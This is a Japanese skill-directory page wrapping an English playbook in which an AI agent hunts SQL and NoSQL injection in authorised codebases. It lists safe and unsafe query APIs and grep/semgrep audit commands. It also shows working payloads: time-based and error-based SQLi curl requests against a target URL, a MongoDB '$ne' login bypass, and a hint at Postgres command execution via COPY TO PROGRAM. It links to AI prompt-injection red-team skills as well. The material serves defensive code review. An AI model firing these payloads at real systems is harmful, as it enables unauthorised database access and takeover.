sql-injection
できること
このスキルは、生のクエリやORMの回避口を含め、ソースコードのSQLインジェクションの欠陥を探す手順書です。検査を許可されたコードを確認する開発者とレビュー担当者向けです。
使う場面
- ✓認可されたコードベースで、ユーザー入力がデータベースのクエリに届くかを開発者が確認するとき。
- ✓生のクエリのヘルパー、動的なテーブル名、検索フィルターを見直し、安全でない文字列の組み立てがないかを確認するとき。
- ✓使用しているプログラミング言語について、安全なクエリの方法と安全でない方法の表が欲しいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“認可された当社のPythonコードで、ユーザー入力からSQLを組み立てているデータベースのクエリがないかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはクエリの呼び出しを見つけ、リクエストから呼び出しまでユーザー入力をたどります。パラメータではなく文字列の組み立てを使っている箇所を一覧にします。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
SQL Injection Hunting Playbook
Classic, still the king. Modern ORMs reduce the surface area but every codebase has escape hatches (raw queries, dynamic table names, LIKE fragments) where taint tracking pays off.
1. Sources
Anything accepting untrusted input: query params, form bodies, headers, cookies, JWT claims, file contents parsed as config, message-queue payloads.
2. Sinks by language/framework
| Language | Safe API | Dangerous API |
|---|---|---|
| Python | cursor.execute(sql, params) |
cursor.execute(f"... {user}"), %-format |
| Python | SQLAlchemy text().bindparams |
text(f"... {user}"), raw_sql |
| Python | Django ORM filter kwargs | Model.objects.raw(...), .extra(where=[...]) |
| Node | pg.query(text, params) |
Template literals with user data |
| Node | Prisma $queryRaw\...`` |
$queryRawUnsafe(userString) |
| Java | PreparedStatement |
Statement.executeQuery(string + user) |
| Java | JPA criteria | entityManager.createNativeQuery(user + sql) |
| Go | db.Query(text, args...) |
fmt.Sprintf → db.Query |
| Ruby | Rails where("col = ?", x) |
where("col = '#{x}'"), find_by_sql(interp) |
| PHP | PDO prepared | mysqli_query($conn, $user . $sql) |
3. Taint audit steps
# Semgrep covers 80% of obvious cases
semgrep --config p/sql-injection /workspace/src --sarif -o /workspace/sem-sqli.sarif
kg_ingest_sarif("/workspace/sem-sqli.sarif", "semgrep")
# Grep for the high-signal patterns semgrep misses (dynamic order/group by)
grep -rE 'ORDER BY.*\$|LIMIT.*\$|GROUP BY.*\$' /workspace/src
grep -rE 'execute\s*\(.*f["\']|execute\s*\(.*%.*%' /workspace/src
# Django raw + extra (scanner blind spot)
grep -rE '\.raw\(|\.extra\(' /workspace/src
# Second-order: anything that stores user input then queries by it unescaped
grep -rE 'INSERT INTO.*VALUES.*\?|UPDATE.*SET' /workspace/src
4. Dynamic table/column sinks — the interesting subclass
ORMs parameterize values but NOT identifiers. If the code does:
cursor.execute(f"SELECT * FROM {tenant}_users WHERE id=%s", (uid,))
the table name is user-controlled. Check whether tenant is validated
against an allowlist. If not, this is trivial RCE on Postgres
(; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --).
5. NoSQL injection
| DB | Dangerous | Safe |
|---|---|---|
| MongoDB | db.users.find({name: req.body.name}) |
find({name: String(req.body.name)}) |
| Firebase | db.ref(req.query.path) |
path allowlist |
| Dynamo | Filter expressions built from strings | ExpressionAttributeValues |
Classic Mongo bypass: {"username": "admin", "password": {"$ne": null}}.
6. Second-order injection
Most dangerous variant. The sink query reads from a previously stored value that was user-controlled. Missed by 90% of scanners because the taint breaks at the DB boundary.
Audit approach: any column that stores user input and is later concatenated into another query is a candidate. Grep for the column name across the repo.
7. PoC + validation contract
# Blind time-based
curl "https://target.com/search?q=1' AND SLEEP(5)-- -"
# Success: response time > 5s
# Error-based
curl "https://target.com/search?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Success: mysql error with version string reflected
validate_finding contract:
- success_patterns:
version\(\),mysql,postgres,sleep.*5,syntax error near,ORA-01756 - negative_command: same URL with
q=1(no payload) - negative_patterns: same error string (if present without payload, it's unrelated noise — demote)
8. Default CVSS
| Variant | Score | Notes |
|---|---|---|
| Authenticated read-only SQLi |
よくある質問
SQLインジェクションとは何ですか?
ユーザー入力がデータベースのクエリの意味を変えてしまい、データが露出または変更されうることです。
ORMがあれば防げますか?
ORMはリスクを減らすとスキルは述べていますが、生のクエリのヘルパーや動的な部分は依然として危険なことがあります。
より安全な方法は何ですか?
ユーザーの値をSQL文とは別に渡す、パラメータ化されたクエリを勧めています。
詳細
作者による元の説明
Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB/DynamoDB.
人気
- GitHubのスター
- 6.5k
- ランキング
- #13971
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。